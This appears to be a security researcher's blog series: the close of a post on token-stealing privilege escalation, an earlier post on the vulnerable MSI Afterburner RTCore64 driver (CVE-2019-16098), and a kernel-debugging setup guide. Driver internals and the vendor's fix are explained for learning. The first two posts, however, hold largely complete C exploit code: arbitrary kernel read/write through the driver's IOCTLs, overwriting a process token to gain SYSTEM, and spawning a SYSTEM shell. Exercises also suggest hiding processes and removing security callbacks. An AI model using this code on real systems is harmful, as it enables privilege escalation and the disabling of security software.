	ULONGLONG TargetTokenReferenceCount;
	ULONG_PTR NewToken;
	DWORD TargetPid = 0;


	if (Pid == 0) {
		TargetPid = GetCurrentProcessId();
	}
	else {
		TargetPid = Pid;
	}

	SystemToken = GetTokenPointer(lpInitialSystemProcess, WinVersion);
	// The Token value in EPROCESS is combination of pointer and Reference count
	// Least significat 4 bits are reserved for the reference count
	// Zeroing-out those bits will get us the actual pointer to the Token
	SystemToken = SystemToken & ~15;

	TargetEprocess = GetEprocessByPid(TargetPid, WinVersion);

	TargetToken = GetTokenPointer(TargetEprocess, WinVersion);

	// Get the target process Token reference count
	TargetTokenReferenceCount = TargetToken & 15;
	
	// Combine the system token pointer with the reference count of the target process
	NewToken = SystemToken | TargetTokenReferenceCount;

	// Overwrite the target process Token value
	if (!RTCoreWrite64(TargetEprocess + TOKEN_OFFSET[WinVersion], NewToken)) {
		PRINT_ERROR(L"[-] Couldn't write new Token\n");
		return FALSE;
	}
	return TRUE;
}

If we want to pop into a CMD shell with SYSTEM privileges, it’s quite easy. Just start a new cmd.exe process :) It will inherit the token of the parent, therefore it will have the same privileges.

BOOL GetSystemCMD(WINDOWS_VERSION WinVersion) {
	STARTUPINFOA StartupInfo;
	PROCESS_INFORMATION ProcessInformation;

	ZeroMemory(&StartupInfo, sizeof(StartupInfo));
	ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));

	StartupInfo.cb = sizeof(StartupInfo);

	if (!GetSystem(0, WinVersion)) {
		PRINT_ERROR(L"[-] Couldn't get system..\n");
		return FALSE;
	}

	if (!CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &StartupInfo, &ProcessInformation)) {
		PRINT_ERROR(L"[-] Couldn't create cmd.exe process!\n");
		return FALSE;
	}
	WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
	CloseHandle(ProcessInformation.hThread);
	CloseHandle(ProcessInformation.hProcess);

	return TRUE;
}

And when we run it, we get a system shell :)

To troubleshoot issues and verify that the addresses and values are what they should be, windbg can be used. The command lm m nt will show you the kernel start and end addresses of the nt module (which is the kernel). The start address is the base address.

? nt!PsInitialSystemProcess will show you the address of the symbol PsInitialSystemProcess in kernel-land. By subtracting from it the base address we got above we can calculate the offset ? nt!PsInitialSystemProcess - . Using poi(nt!PsInitialSystemProcess) will dereference the pointer at PsInitialSystemProcess and will show us the address of the System EPROCESS.

The command !process 0 1 will show more verbose information about a process, including the Token pointer. The first value at the top is the EPROCESS address.

dt nt!_EPROCESS Token will show the Token value of an EPROCESS structure. The one below is for the System EPROCESS which we got above. This is the raw value from the structure, including the reference count, that’s why it differs from the previous command (which shows only the address).

The same way we can get the values for the target process.

And the active process links:

For now, this concludes my kernel series of blog posts. I’m not sure if I’ll find the time to write part 3, where I wanted to cover removing minifilter registry callbacks. But it’s also too much on the offensive side for my taste, so I’m not even sure if it’s good idea.

As a summary, the end purpose of kernel-level exploits boils down to reading and modifying kernel-level data structures which in turn modify the behaviour of the OS. A couple of such structures are the EPROCESS and KPROCESS.

You should have enough understanding by now to read the code of PPLKiller and PPLControl to understand how those tools remove the PPL protection from protected processes (hint: modifying some structures which can be found from EPROCESS) and even implement something on your own.

As an exercise you can try to extend the current code and add functionality:

to hide a target process from the process list
make a target process a critical process or a system process (such that when killed, the OS crashes)
Change the token structure itself to enable all possible privileges
Delete callbacks registered by minifilter drivers

4. References

Exploring the Windows kernel using vulnerable driver - Part 1

2023-06-30T00:00:00+03:00

1. Introduction

I got really curious about how those tools that bypass security software with a driver actually work. So, I decided to dig into the source code of some popular ones like PPLKiller, PPLControl, and others that take advantage of the CVE-2019-16098 vulnerability in the MSI Afterburner driver. However, I have always found hands-on practice to be the most effective way for me to comprehend complex concepts, so even though I’m a blue teamer, I thought it would be interesting to rewrite the code from scratch, using their code as a reference, and add some extra functionality to see if I really understood it all.

I won’t be sharing the complete source code or any compiled binaries. This is purely for educational purposes, and let’s be honest, there are already enough offensive tools out there.

In this series of blog posts, I’ll try to explain everything step-by-step, making it easy to follow along and self-contained. I’ll dive into the driver’s vulnerability, how it can be exploited, and what kind of damage it can cause, like escalating privileges or terminating protected processes.

Also check out my previous post on setting up a kernel debugging environment and my Windbg cheatsheet. I won’t be going over all the Windbg commands again, so having that knowledge will come in handy.

In Part 1, I’ll start by explaining how drivers actually work, giving you the lowdown on the RTCore64 vulnerability, and showing you how to exploit it.

2. Windows driver basics

There are three types of Windows drivers: bus drivers, function drivers, and filter drivers. In this section, we’ll focus on function drivers, which serve as the primary drivers for devices and are typically developed by the device vendors themselves. These drivers are responsible for managing input/output (I/O) operations for devices and provide an operational interface for them, handling read and write requests to the device.

Communication between drivers and user-mode applications is a lot like the client-server model. The driver acts similarly to a server, exposing certain functionalities that client applications can request from the user mode. The application sends a request packet, known as an I/O Request Packet (IRP), to the driver. Upon receiving the packet, the driver executes the requested function in kernel-mode. Different types of IRPs exist, depending on the specific operation being requested.

VVulnerabilities often arise when an application running with limited privileges can request privileged functionality from the driver. This can potentially allow the unprivileged user to escalate privileges or manipulate the behavior of the operating system by modifying sensitive values in the system memory.

The entry point of a driver is a function called DriverEntry, which receives a partially initialized Driver Object as its first argument. The purpose of DriverEntry is to complete the initialization of the driver object by populating certain function pointers within the object. This enables the operating system to locate the functions exposed by the driver.

One of the initial steps performed by a driver is creating a Device Object that represents the device (either virtual or physical) for which the driver handles I/O requests. This device is created with the function IoCreateDevice.

For a regular user to be able to communicate with that device it needs a DOS device name registered in the Object Manager. This registration is achieved by invoking IoCreateSymbolicLink.

Next, the driver should set the function pointers mentioned earlier. A simple example is the DriverUnload routine which should define the cleanup actions when the driver is unloaded (freeing memory, etc.). After defining the function, initialization inside DriverEntry is done by just pointing the field DriverObject->DriverUnload to the function DriverUnload.

VOID DriverUnload(PDRIVER_OBJECT DriverObject){
  // Cleanup actions
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath){
  //...
  DriverObject->DriverUnload = DriverUnload;
  //...
}

Another crucial aspect of initialization involves the major functions. The MajorFunction field is an array of function pointers that handle various types of IRPs. For instance, a major function with the code IRP_MJ_CREATE would handle IRP requests related to file open or create operations. If a driver is utilizing a symbolic link, it should always set handlers for IRP_MJ_CREATE and IRP_MJ_CLOSE since these will be executed whenever a user-mode application opens or closes a handle to the device.

Another major function worth noting for our purposes is IRP_MJ_DEVICE_CONTROL , which handles I/O requests.

Instead of defining multiple handler functions, it is also possible to assign a single handler function to handle all types of IRPs, processing the requests based on the Major code extracted from the IRP request. The numerical values of the major codes, which correspond to the indexes in the MajorFunction vector, can be found here: IRP Major Function List

Below, you’ll find an example of a DriverEntry function:

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    PDEVICE_OBJECT DeviceObject = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    UNICODE_STRING DeviceName, DosDeviceName = { 0 };

    UNREFERENCED_PARAMETER(RegistryPath);

    RtlInitUnicodeString(&DeviceName, L"\\Device\\MyDriver");
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\MyDriver");

// Create the Device Object
    Status = IoCreateDevice(
        DriverObject,
        0,
        &DeviceName,
        FILE_DEVICE_UNKNOWN, 
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &DeviceObject
    );

    if (!NT_SUCCESS(Status))
    {
        DbgPrint("[-] Error Initializing Driver\n");
        return Status;
    }

// Executes when driver is unloaded
    DriverObject->DriverUnload = DriverUnloadHandler;

// Routines CREATE and CLOSE execute when a handle to the drivers symbolic link is opened/closed
    DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;

// Handle I/O requests from userland
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;

// Create symbolic link so users can interact with the device
    Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName);

    return Status;
}

When a user makes a request to the driver, they need to send an IRP packet. Windows provides specific APIs for each type of IRP. For example, the Windows API CreateFile sends an IRP packet of type IRP_MJ_CREATE, while the API DeviceIoControl sends an IRP packet of type IRP_MJ_DEVICE_CONTROL.

The IRP packet of type IRP_MJ_DEVICE_CONTROL should also include an I/O Control (IOCTL) code, which represents the requested functionality. Similar to how DLLs have functions that applications can call by name, drivers have routines that can be requested based on their IOCTL code. However, unlike DLLs, these codes are not exported. Instead, they are hardcoded both in the driver and in the user-mode application that communicates with it.

In the handler functions within the driver, a common approach is to use a switch statement to check the IOCTL code sent in the IRP packet (although if/else also can be used). Based on the specific code, the corresponding case block is executed to perform the requested functionality.

switch (IOCTL){
case 0x80002014:
     // Do X
case 0x80002010:
    // Do Y
default:
    // Do Z
}

IOCTLs are not just arbitrary numbers; they are 32-bit values with multiple fields that have a significant impact on how the driver handles the IRP. These fields within the IOCTL value play a crucial role in determining the behavior of the driver. They include the device type, function code, access mode, transfer type, and transfer size. By examining these fields, the driver can accurately interpret the purpose of the IOCTL and execute the corresponding code logic.

(Image source: https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes)

When examining IOCTLs, it’s important to consider the specific fields that compose the value.

DeviceType - this field has reserved values below 0x8000 for Microsoft, while values starting from 0x8000 and higher are typically assigned to third-party vendors. The “common” bit is part of the device type and is set for vendor-assigned types, resulting in a value of 0x8000. This is according to the documentation, but people can choose not to follow it.

RequiredAccess - indicates the access rights the caller should request when opening the file object representing the device. It can take the following values:

00 (FILE_ANY_ACCESS) - The IRP is sent if the caller has any access rights.
01 (FILE_READ_DATA) - The IRP is sent if the caller has read-access rights.
10 (FILE_WRITE_DATA) - The IRP is sent if the caller has write-access rights.
11 (FILE_READ_DATA and FILE_WRITE_DATA ) - Both read and write access rights are required for the IRP to be processed.

FunctionCode - specifies the specific function to be called. Values below 0x800 are reserved for Microsoft, while values at or above 0x800 (when the Custom bit is set) can be used by third-party vendors. Again, this is according to the documentation, which may not be followed.

TransferType - determines how the operating system passes data between the caller and the driver handling the IRP. There are four transfer types:

11 (METHOD_NEITHER) – data is passed in user-defined input and output buffers without any checks on the buffers or their size. The user application allocates memory in its own address space in userland and sends pointers to the buffers in the IRP. Upon receiving the IRP packet, the driver can read data from the input buffer and write data to the output buffer. The user application then retrieves the driver’s response from the output buffer. It’s important to note that this method carries a potential risk, as the pointers sent by the user are entirely under their control. Without proper validation on the driver side, the driver may inadvertently read from or write to sensitive system memory.

// Input buffer is accessed from:
IRP->Parameters.DeviceIoControl.Type3InputBuffer
// Input buffer length
CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength
// Output buffer accessed from:
IRP->UserBuffer
// Output buffer length
CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength

00 (METHOD_BUFFERED) – the OS copies the input/output buffers and their length to kernel land. In this case, new pointers are set in the IRP packet, reducing the level of control the user has over the buffers. On the driver side, a single buffer is used for both input and output operations. With this transfer type, the input and output buffers are securely managed by the kernel, mitigating the risk associated with direct user control over the buffers. This approach ensures safer data transfer between the user application and the driver, minimizing potential vulnerabilities.

// Input & Output buffer:
IRP->AssociatedIrp.SystemBuffer
// Length of input buffer
CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength
// Length of output buffer
CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength

01 or 10 (METHOD_IN_DIRECT or METHOD_OUT_DIRECT) – in these cases, the input buffer is allocated as METHOD_BUFFERED, while the second buffer is a user-supplied buffer. However, the operating system performs certain checks and locks the memory before assigning it to the IRP. Depending on the selected transfer method, the second buffer can be utilized as either an input or output buffer.

// Input buffer:
IRP->AssociatedIrp.SystemBuffer
// Input buffer length
CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength
// Second buffer:
IRP->MdlAddress
// Second buffer length
CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength

An example how a userland application would send IRP of type IRP_MJ_DEVICE_CONTROL to a driver:

// IOCTL = 0x80002048
// last bits are 00 – METHOD_BUFFERED
// access bits are 00 - FILE_ANY_ACCESS
// Function code - 0x812
DeviceIoControl(hDevice, 0x80002048, &input_buffer, sizeof(input_buffer), &output_buffer, sizeof(output_buffer), NULL, NULL)

Some of the important IRP fields that the driver can access when it receives the packet are:

// contains the IOCTL code sent by the userland application
IRP->Parameters.DeviceIoControl.IoControlCode
// The driver sets this NTSTATUS value to the result code of the IOCTL function (success or failure)
IRP->IoStatus.Status
// Depends on the type of IRP and whether it succeeded or failed. If operation involves data transfer, it is set to the number of bytes to be transfered
IRP->IoStatus.Information
// Structure containing various important fields for the IRP
IRP->Tail.Overlay.CurrentStackLocation
// contains the Major code corresponding to the type of IRP
CurrentStackLocation->MajorFunction

After the driver has finished handling the IRP, it calls IoCompleteRequest function to return the IRP back to the operating system. This allows the client application to receive the result of the operation and proceed with its execution.

Now, let’s take a look at what a handler function typically looks like:

#define IOCTL_METHOD_BUFFERED 0x80002018 // and FILE_ANY_ACCESS
#define IOCTL_METHOD_NEITHER  0x80006013  // and FILE_READ_ACCESS

NTSTATUS IrpDeviceIoCtlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
//...  declaration of variables irpSp, ntStatus, inBufLength, data, datalen, buffer, etc.

    UNREFERENCED_PARAMETER(DeviceObject);
    irpSp = IoGetCurrentIrpStackLocation( Irp );
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

    switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )
    {
    case IOCTL_METHOD_BUFFERED:
        inBuf = Irp->AssociatedIrp.SystemBuffer;
        outBuf = Irp->AssociatedIrp.SystemBuffer;
        RtlCopyBytes(outBuf, data, outBufLength);
        
// If the data length is smaller than the size of the output buffer, the bytes to be transfered should be set to the size of datalen.
// Otherwise if datalen is smaller, and outBufLength bytes are returned, the driver will also copy uninitialized kernel memory, which may contain sensitive data
        Irp->IoStatus.Information = (outBufLength<datalen?outBufLength:datalen);
        break;

    case IOCTL_METHOD_NEITHER:
        inBuf = irpSp->Parameters.DeviceIoControl.Type3InputBuffer;
        outBuf =  Irp->UserBuffer;
		//... memory safety checks ...
        RtlCopyBytes(buffer, data, outBufLength);
        Irp->IoStatus.Information = (outBufLength<datalen?outBufLength:datalen);
        break;
		
// ... other switch cases with IOCTLS ...
    default:
        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }

    Irp->IoStatus.Status = ntStatus;
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
    return ntStatus;
}

3. Securing access to drivers

When a driver creates its device object using IoCreateDevice, by default, the access to the driver is unrestricted, allowing anyone to send requests to it (if a symbolic link is also present). However, since drivers may provide powerful functionality that can be misused by unprivileged users, it is advisable to secure access in some way.

One common approach to securing access is by setting an Access Control List (ACL) defined with a Security Descriptor Definition Language (SDDL) string, which allows specific access only to certain user groups. There are a few ways to accomplish this:

Using an INF file supplied by the driver installer: The driver installer can include an INF file that specifies the desired ACL and sets the appropriate access restrictions during installation.
Setting the ACL in the registry: The driver installer can also configure the ACL in the registry, ensuring that the access restrictions are applied when the driver is loaded.
Using IoCreateDeviceSecure: Instead of IoCreateDevice, the driver can use IoCreateDeviceSecure, which accepts the SDDL string as an argument during device object creation. This allows the SDDL string to be hard-coded in the driver itself, ensuring access is granted only to specific user groups, such as Administrators.

The first two methods are not relevant if an attacker loads the driver manually without using the installer, making the third method the most secure access control.

Furthermore, during runtime, more fine-grained control over which users can request specific IOCTLs can be enforced using the IoValidateDeviceIoControlAccess function. This allows the driver to validate the access rights of the calling user before processing the IOCTL request.

We now have the necessary knowledge to delve into the driver’s internals and analyze the vulnerabilities it has.

4. Analyzing RTCore64

To download and install the driver, follow the steps outlined in PPLControl repository.
You can download the driver itself from the PPLKiller repo. Note that we will focus on the 64-bit version of the driver.
Once downloaded, you can install the driver by executing the following commands as an administrator:

sc.exe create RTCore64 type= kernel start= auto binPath= C:\PATH\TO\RTCore64.sys DisplayName= "Micro - Star MSI Afterburner"
net start RTCore64

To check the privileges required to interact with the driver, you can use the tool DeviceTree. The screenshot below shows that everyone has full access to the driver.

Analyzing the driver in Ghidra, we encounter code that is not very clear, likely due to missing symbols and improper function and variable types. This code should be the DriverEntry function.

To add the necessary type information, follow these steps:

Download the file ntddk_64.gdt from this repository: https://github.com/0x6d696368/ghidra-data/tree/master/typeinfo
In Ghidra’s Data Type Manager window, click the arrow next to “Data Type Manager,” select “Open File Archive,” and choose the downloaded ntddk_64.gdt file.
Right-click on ntddk_64 in the Data Type Manager window, select “Apply Function Data Types,” and Ghidra should update some parts of the code with proper types.

After changing the types of known variables, such as the argument of DriverEntry (which should be PDRIVER_OBJECT), the code becomes more recognizable. With a few more touches, the code becomes very readable, as shown below.

We can see the driver uses IoCreateDevice instead of IoCreateDeviceSecure, which is why everyone had full access to the device.
Additionally, there is a single handler function for IRP major codes IRP_MJ_CREATE, IRP_MJ_CLOSE and IRP_MJ_DEVICE_CONTROL.

Now lets check the code for the handler function which is in the next screenshot.
Some lines of code were still not decompiled correctly. For example like Power.ShutdownType (which from my educated guess should be the BufferLength) or QueryDirectory.FileIndex. I tried to set the proper type manually but for some reason it didn’t work.

The function handles different IRP types, so there is an IF checking the Major code and if it is of type IRP_MJ_DEVICE_CONTROL we enter a large switch statement which checks the recieved IOCTL code.

The IOCTL codes used by PPLControl are 0x80002048 and 0x8000204c so lets go straight to them. The next screenshot shows the code for IOCTL 0x80002048 where I already renamed the important variables.

In this code, we can observe several checks that provide hints about the variables’ meanings:

The check for 0x30 suggests that it represents the buffer length, as later in the code, 0x30 is assigned to IRP->IoStatus.Information, specifying the number of bytes to be returned.
The comparison of the value at the 8th byte of the SystemBuffer structure to a NULL pointer suggests that it is likely an address.
Inside some if/elseif blocks, the value at byte 0x14 is added to the address, and the resulting value is dereferenced. This indicates a reading operation from an address, with the value at 0x14 being an offset from the supplied address.
The conditions of the if/elseif statements compare the value at offset 0x18 in the SystemBuffer to 1, 2, or 4. The dereferenced expressions inside these conditions are cast to byte, ushort, or ulonglong, respectively. This suggests that the value at 0x18 of the SystemBuffer structure represents the size to be read.

If the IOCTL completes successfully, IRP->IoStatus.Status is set to 0 (succcess) and the IRP->IoStatus.Information is set to 0x30 to return the whole buffer.

The IOCTL accepts a buffer of 0x30 bytes, which corresponds to the following structure. In this structure, the calling application specifies an address and the number of bytes to be read from that address. The driver reads the value from the address, writes it back in the structure, and returns it. This allows an arbitrary read functionality with kernel-level privileges which can be requested by everyone.

struct RTC64 {
	BYTE Unknown0[8];  // offset 0x00
	DWORD64 Address;   // offset 0x08
	BYTE Unknown1[4];  // offset 0x10
	DWORD Offset;      // offset 0x14
	DWORD Size;        // offset 0x18
	DWORD Value;       // offset 0x1c
	BYTE Unknown2[16]; // offset 0x20
};

The next IOCTL 0x8000204c looks almost the same but the expression inside the if/elseif body is reversed. The value at field 0x1c gets assigned to the address (field 0x14 + Address), meaning this is a write operation. Therefore, this IOCTL provides arbitray write capability with kernel privileges.

Now, let’s examine how this vulnerability was fixed in the latest version of MSI Afterburner. The DriverEntry function now uses IoCreateDeviceSecure with an SDDL string that grants GENERIC_ALL access to the device only for the SYSTEM account and members of the Administrators group. Other users cannot interact with the device.

The handling of the IRP also includes additional checks. The value at field 0x2c is used as an index to an array of addresses, and the address sent from the user application must be found in this array at that index. This prevents the use of arbitrary addresses.

5. Interacting with RTCore64

To begin exploring how tools like PPLKiller work, we need to write a simple program that can interact with the vulnerable driver using the provided IOCTLs. The code provided here is based on the PPLControl source code, but adapted for C without using objects.

First, let’s define the necessary IOCTL codes, the device name, and the structure used for the buffer:

#define RTC64_DEVICE_NAME_W L"RTCore64"

#define RTC64_IOCTL_MEMORY_READ 0x80002048
#define RTC64_IOCTL_MEMORY_WRITE 0x8000204c

typedef struct RTC64_MEMORY_STRUCT {
	BYTE Unknown0[8];  // offset 0x00
	DWORD64 Address;   // offset 0x08
	BYTE Unknown1[4];  // offset 0x10
	DWORD Offset;      // offset 0x14
	DWORD Size;        // offset 0x18
	DWORD Value;       // offset 0x1c
	BYTE Unknown2[16]; // offset 0x20
}RTC64_MEMORY_STRUCT, * PRTC64_MEMORY_STRUCT;

Next, we create the function responsible for opening the device. It uses CreateFileW to obtain a handle to the symbolic link of the RTCore64 device:

HANDLE hDevice = NULL;
WCHAR* DevicePath = NULL;

BOOL OpenRTCoreDevice() {
	// Allocate memory which will hold the device path
	DevicePath = (LPWSTR)malloc((MAX_PATH + 1) * sizeof(WCHAR));
	if (DevicePath == NULL) {
		PRINT_ERROR(L"[-] Error: Couldn't allocate memory!\r\n");
		return FALSE;
	}

	// Set DevicePath to \\.\RTCore64
	swprintf_s(DevicePath, MAX_PATH, L"\\\\.\\%ws", RTC64_DEVICE_NAME_W);

	// Open handle to the device with RW access
	hDevice = CreateFileW(
		DevicePath, 
		GENERIC_READ | GENERIC_WRITE, 
		0, 
		NULL, 
		OPEN_EXISTING, 
		0, 
		NULL);
	if (hDevice == INVALID_HANDLE_VALUE) {
		PRINT_ERROR(L"[-] Error: CreateFileW error code 0x%08x\r\n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

// Function for cleanup
void CloseRTCoreDevice() {
	if (DevicePath) {
		free(DevicePath);
	}
	if (hDevice) {
		CloseHandle(hDevice);
	}
}

Following that, we define the primitive functions for reading and writing. Let’s start with the function for reading:

BOOL RTCoreReadMemory(ULONG_PTR Address, DWORD ValueSize, PDWORD Value) {
	// create the structure which will be passed to the driver in the input buffer
	RTC64_MEMORY_STRUCT memory_read;
	// initialize the structure to all zeroes
	ZeroMemory(&memory_read, sizeof(memory_read));

	// set the target address to read from
	memory_read.Address = Address;
	// set how much data to read
	memory_read.Size = ValueSize;
	
	// the offset is not used, so it will be zero

	if (!hDevice) {
		PRINT_ERROR(L"[-] Device not opened!\r\n");
		return FALSE;
	}

	// Send the IRP packet
	if (!DeviceIoControl(
			hDevice, 
			RTC64_IOCTL_MEMORY_READ, // the 0x80002048 IOCTL code
			&memory_read,            // pointer to input buffer
			sizeof(memory_read),     // size of input buffer
			&memory_read,            // output is recieved in the same buffer
			sizeof(memory_read), 
			NULL, 
			NULL)) 
		{
		PRINT_ERROR(L"[-] Memory Read IRP Failed!\r\n");
		return FALSE;
	}

	// The driver should've filled the Value in the structure with the data which was read
	*Value = memory_read.Value;

	return TRUE;
}

Now, let’s define several wrapper functions that use the primitive function to read data of different sizes, such as byte, word, dword, qword, and pointer. We’ll use RTCoreRead32 as the base for the other functions, making it easier to extract the relevant byte for functions like RTCoreRead8 by performing an AND operation:

BOOL RTCoreRead32(ULONG_PTR Address, PDWORD Value) {
	return RTCoreReadMemory(Address, sizeof(*Value), Value);
}

BOOL RTCoreRead8(ULONG_PTR Address, PBYTE Value) {
	DWORD dwValue;

	if (!RTCoreRead32(Address, &dwValue)) {
		return FALSE;
	}
	// get the least significat byte
	*Value = dwValue & 0xff;

	return TRUE;
}

BOOL RTCoreRead16(ULONG_PTR Address, PWORD Value) {
	DWORD dwValue;

	if (!RTCoreRead32(Address, &dwValue)) {
		return FALSE;
	}
	// get the least significat 2 bytes
	*Value = dwValue & 0xffff;

	return TRUE;
}

BOOL RTCoreRead64(ULONG_PTR Address, PDWORD64 Value) {
	DWORD dwHigh, dwLow;

	// read two dwords
	// first dword starting from target address (the low part of the 64bit value)
	// second dword starting 4 bytes after the first dword (the high part of the 64bit value)
	if (!RTCoreRead32(Address, &dwLow) || !RTCoreRead32(Address + 4, &dwHigh)) {
		return FALSE;
	}

	// concatenate the two dwords into one qword
	*Value = dwHigh;
	*Value = (*Value << 32) | dwLow;

	return TRUE;
}

// on 64bit system the pointers are 64 bit
BOOL RTCoreReadPtr(ULONG_PTR Address, PULONG_PTR Value) {
	return RTCoreRead64(Address, Value);
}

The primitive function for writing is similar, except for the IOCTL and the structure initialization:

BOOL RTCoreWriteMemory(ULONG_PTR Address, DWORD ValueSize, DWORD Value) {
	// create the structure which will be passed to the driver in the input buffer
	RTC64_MEMORY_STRUCT memory_write;
	// initialize the structure to zeroes
	ZeroMemory(&memory_write, sizeof(memory_write));

	// set the target address
	memory_write.Address = Address;
	// set the number of bytes to write
	memory_write.Size = ValueSize;
	// set the valye to write
	memory_write.Value = Value;
	
	// offset is not used so it will be zero

	if (!hDevice) {
		PRINT_ERROR(L"[-] Device not opened!\r\n");
		return FALSE;
	}

	if (!DeviceIoControl(
			hDevice, 
			RTC64_IOCTL_MEMORY_WRITE, // IOCTL 0x8000204c
			&memory_write,            // the input buffer
			sizeof(memory_write),     // input buffer length 
			&memory_write,            // output buffer the same as input buffer
			sizeof(memory_write), 
			NULL, 
			NULL)) {
		PRINT_ERROR(L"[-] Memory Write IRP Failed!\r\n");
		return FALSE;
	}

	return TRUE;
}

Next, let’s create functions for writing values of different sizes, which will use the primitive function:

BOOL RTCoreWrite8(ULONG_PTR Address, BYTE Value) {
	return RTCoreWriteMemory(Address, sizeof(Value), Value);
}

BOOL RTCoreWrite16(ULONG_PTR Address, WORD Value) {
	return RTCoreWriteMemory(Address, sizeof(Value), Value);
}

BOOL RTCoreWrite32(ULONG_PTR Address, DWORD Value) {
	return RTCoreWriteMemory(Address, sizeof(Value), Value);
}

BOOL RTCoreWrite64(ULONG_PTR Address, DWORD64 Value) {
	DWORD dwLow, dwHigh;

	dwLow = Value & 0xffffffff;
	dwHigh = (Value >> 32) & 0xffffffff;

	return RTCoreWrite32(Address, dwLow) && RTCoreWrite32(Address + 4, dwHigh);
}

Finally, let’s create a main function with test code to verify that the program works:

int main() {
	DWORD64 Address = 0;
	DWORD Value = 0;

	if (!OpenRTCoreDevice()) {
		CloseRTCoreDevice();
		return 0;
	}

	printf("Input target address: ");
	scanf_s("%llx", &Address);
	RTCoreRead32((ULONG_PTR)Address, &Value);

	CloseRTCoreDevice();
	return 0;
}

Compile it statically and lets run it on the VM with debugger attached to find an address to read and verify the value is read correctly.

From Windbg I decided to read the third DWORD after the address of the System process - 0x9fa86048.

Run the program as normal user, enter the address and… the value is correctly read.

This vulnerability turned out to be quite trivial and easy to exploit. Other driver vulnerabilities are similar in that they allow low privileged user to read/write to system memory. They can be as easy as this one, or a bit more involved to exploit - like giving access to wrmsr, rdmsr instructions, or to MmMapIoSpace function.

While writing these posts and researching the different driver vulnerabilities, I read somewhere that it’s common to find vulnerabilities in drivers that interact with hardware - measuring cpu temperature, overclocking, etc. I decided to try and find one on my own and what do you know - I found my first ever vulnerability. The third driver I checked had several vulnerabilities which were easy to spot even for someone new to this as me. I notified the vendor and I’m currently waiting for them to check it. I recommend checking the articles in the references, as they explore other drivers and vulnerabilities.

6. References

Environment Setup for Windows Kernel Debugging with Windbg

2023-06-29T00:00:00+03:00

1. Introduction

In this blog post, I will describe how to set up an environment for kernel debugging in Windows and provide a WinDbg command cheatsheet.
I will reference some commands in subsequent posts to avoid repeating explanations.

When it comes to kernel debugging, it is crucial to understand that when a breakpoint is reached during the debugging process of an operating system, the entire OS freezes. Consequently, it becomes impossible to utilize a debugger within the same OS environment. Instead, a separate system is required, which connects remotely to the target OS undergoing debugging. This setup enables communication between the debugger and the target OS, ensuring that when execution is paused, your current OS remains unaffected.

2. Configuring your VM (debugee)

I am using VMware Workstation but other hypervisors should have similar options.

Kernel debugging with network communication (Recommended)

2.1. Install a Windows VM and create a snapshot of its clean state
2.2. Make sure the VM is using NAT networking
2.3. Find your Host OS IP address
2.4. Run the following powershell command in the VM and check the output for the VMs network interface

Get-NetAdapterHardwareInfo -InterfaceDescription * | select Name, InterfaceDescription, DeviceType, Busnumber, Devicenumber, Functionnumber | FL

// Example output
Name                 : Wi-Fi
InterfaceDescription : Qualcomm Atheros QCA61x4A Wireless Network Adapter
DeviceType           : PCI Express treated as PCI
Busnumber            : 8
Devicenumber         : 0
Functionnumber       : 0

2.5. Start the VM and run the following commands in CMD as an Administrator

bcdedit /debug on
bcdedit /dbgsettings net hostip:w.x.y.z port:50001 key:1.2.3.4

2.6. In the same Admin CMD run the command below substituting b.d.f with the values from the powershell output

bcdedit /set "{dbgsettings}" busparams b.d.f

// Example command
bcdedit /set "{dbgsettings}" busparams 8.0.0

Kernel debugging with named pipes for communication (Slow)

2.1. Install a Windows VM and create a snapshot of its clean state
2.2. In VMware from the VM settings add a new Serial Port from Hardware > Add > Serial Port

2.3. In the Serial Port configuration set the connection to use named pipe and choose a name for the pipe like \\.\pipe\windebug

2.4. Take a note of the Serial Port number as you’ll need it later. In this case it’s 2
2.5. Start the VM and run the following commands in CMD as an Administrator
The debugport is the Serial Port number we saw from the VM settings.

bcdedit /debug on
bcdedit /dbgsettings serial debugport:2 baudrate:115200

The first command enables debugging in the boot configuration.
The second command specifies how the OS will communicate with the debugger.

If you plan to test your own drivers you can also execute:
bcdedit /set testsigning on

And if you want to disable driver integrity checks completely:
bcdedit /set nointegritychecks on

2.6 Power off the VM and create another snapshot

3. Configuring your dev/debugger environment

3.1. Install latest Visual Studio with the Desktop development with C++ workload
3.2. Install Windows 11 SDK
3.3. Install Windows 11 WDK
3.4. If WDK installation prompts you to install Visual Studio extension - agree and install it.

For all above-mentioned steps, head over to the following page and follow the steps:
https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk

3.5.1. Go to this page to download and install the newest Windbg
3.5.2. Another way is to go to the Windows store and install “Windbg Preview”, but this version won’t be supported anymore
This is the new Windbg with modern GUI and new features

3.6.1. If using network communication, go to File > Attach to kernel > Net and fill in the key and port number
3.6.2. If using named pipes, go to File > Attach to kernel > COM, fill in the pipe name we chose for the Serial Port in the port filed and the same Baud Rate

3.7. Click OK and Windbg should start waiting for connection

